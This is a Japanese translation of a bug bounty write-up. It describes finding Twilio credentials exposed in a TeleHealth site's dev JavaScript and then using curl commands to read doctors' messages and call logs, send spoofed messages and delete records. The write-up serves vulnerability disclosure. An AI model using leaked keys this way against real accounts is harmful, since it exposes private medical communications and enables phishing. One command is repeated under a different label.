Shikata Ga Nai

Private? There is no such things.

How I was able to Take over a support chat using leaked Keysを訳してみた

Hello there, ('ω')ノ

 

漏洩したキーを使用してサポート チャットを引き継ぐことができた方法を。

 

脆弱性:

 情報開示

 

記事:

 https://medium.com/@IroquoisPliskin/how-i-was-able-to-take-over-a-support-chat-using-leaked-keys-d5c4922bb3d4

 

今回のターゲットは、医師との仮想予約を行うことができる TeleHealth Webサイトで。

プライベート プログラムなので、www.site.com と呼ぶことに。

 

まずは、Burp Suiteを起動してサイトにアクセスして。

利用可能なすべての機能のテストを開始して。

その後、認証の段階で、ユーザID を変更できるバグを発見して。

それを変更してログオンすると。

jwt でユーザIDが変更されていることがわかったので。

2つのアカウントを作成して。

アカウント1のユーザID をアカウント2のユーザID に変更して。

彼のデータにアクセスできるかどうかを確認しましたが。

ログイン後に空白のページが表示されたので、これをグーグルで調べたところ。

クライアント/サーバ側の検証がある可能性があることがわかって。

データを取得する前に応答操作でJSの無効化を試みましたが何も機能せず。

この時点で、おそらく Web サイトは認証後にユーザID でユーザ名を。

チェックするのではないかと推測したので、解決策はなく。


それから、複数のエンドポイントをテストしている考えが頭に浮かび。

おそらく、そのうちのいくつかは、ユーザID とユーザ名ではなく。

ユーザID のみをチェックしているかと。

このアイデアを試すために、すべてのサブドメインを検索したところ。

メイン Web サイトと同じページの dev.site.com が見つかって。

同じページであることは理解していますが、これは開発チームが。

メインの Web サイトに適用する前に変更をテストするために使用して。

 

ATO が成功するかどうかを確認するためにログインしようとしましたが、機能せず。

そして、メインのウェブサイトのメインの JS コード ファイルと。

dev の JS コード ファイルを比較したところ。

dev のほうがはるかに大きいことがわかって。

 CTRL+Fで、Key、tokenを検索すると、次のように表示されて。

 

twillioAuthToken=”xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx”,twillioAuthSSID=”xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx”.

 

グーグルで検索したところ、音声、ビデオ、電子メール通信に使用される。

API であることがわかって。

そして、認証トークンと SSID とその使用方法について検索した後に。

これらの資格情報が機能しているかどうかを確認する次のコマンドを見つけて。

 

curl -X GET ‘https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN

 

結果は次のとおりで。

 

    Addresses /2010–04–01/Accounts/$SSID/Addresses.json
    Conferences /2010–04–01/Accounts/$SSID/Conferences.json
    Signing_keys /2010–04–01/Accounts/$SSID/SigningKeys.json
    Transcriptions /2010–04–01/Accounts/$SSID/Transcriptions.json
    Connect_apps /2010–04–01/Accounts/$SSID/ConnectApps.json
    Sip /2010–04–01/Accounts/$SSID/SIP.json
    Authorized_connect_apps /2010–04–01/Accounts/$SSID/AuthorizedConnectApps.json
    usage /2010–04–01/Accounts/$SSID/Usage.json
    keys /2010–04–01/Accounts/$SSID/Keys.json
    applications /2010–04–01/Accounts/$SSID/Applications.json
    recordings /2010–04–01/Accounts/$SSID/Recordings.json
    short_codes /2010–04–01/Accounts/$SSID/SMS/ShortCodes.json
    calls /2010–04–01/Accounts/$SSID/Calls.json
    notifications /2010–04–01/Accounts/$SSID/Notifications.json
    incoming_phone_numbers /2010–04–01/Accounts/$SSID/IncomingPhoneNumbers.json
    queues /2010–04–01/Accounts/$SSID/Queues.json
    messages /2010–04–01/Accounts/$SSID/Messages.json
    outgoing_caller_ids /2010–04–01/Accounts/$SSID/OutgoingCallerIds.json
    available_phone_numbers /2010–04–01/Accounts/$SSID/AvailablePhoneNumbers.json
    balance /2010–04–01/Accounts/$SSID/Balance.json

 

それから下記を実行して。

 

curl -X GET ‘https://api.twilio.com/2010-04-01/Accounts/$SSID/Messages.json' -u ACCOUNT_SID:AUTH_TOKEN

 

そしたら、内科医同士のメッセージが見えて。

基本的に、送信元の番号、宛先、メッセージの本文、送信されたメディアを。

含むメッセージのすべての履歴を表示できて。

下記を使用して通話の履歴も表示できて。

 

curl -X GET ‘https://api.twilio.com/2010-04-01/Accounts/$SSID/Messages.json' -u ACCOUNT_SID:AUTH_TOKEN

 

発信者の電話番号と宛先、通話時間、この通話に関連する記録、通知。

ストリーム、支払いなど、各通話に関する情報を提供して。

リソースを表示できるだけでなく、アクションも実行できて。

メッセージの履歴があるので、任意の番号から任意の宛先にメッセージを送信でき。

以下を使用して、医師から別の医師にフィッシング メッセージを送信できて。

 

curl -X POST https://api.twilio.com/2010-04-01/Accounts/$TWILIO_ACCOUNT_SID/Messages.json \
    --data-urlencode “Body=This will be the body of the new message” \
    --data-urlencode “From=+15017122661” \
    --data-urlencode “To=+15558675310” \
    -u $TWILIO_ACCOUNT_SID:$TWILIO_AUTH_TOKEN

 

次を使用してメッセージを削除することもできて。

 

curl -X DELETE https://api.twilio.com/2010-04-01/Accounts/$TWILIO_ACCOUNT_SID/Messages/MMXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.json \
    -u $TWILIO_ACCOUNT_SID:$TWILIO_AUTH_TOKEN

 

削除/作成は、呼び出しと使用可能なすべてのリソースに対しても実行できて。

レポートを長くしたくないので、他のリソースはリストしませんでしたが。

レコードの取得、SIP 構成、承認済みアプリの一覧表示など。

これらのリソースを使用して驚くべきことを行うことができて。

 

Best regards, (^^ゞ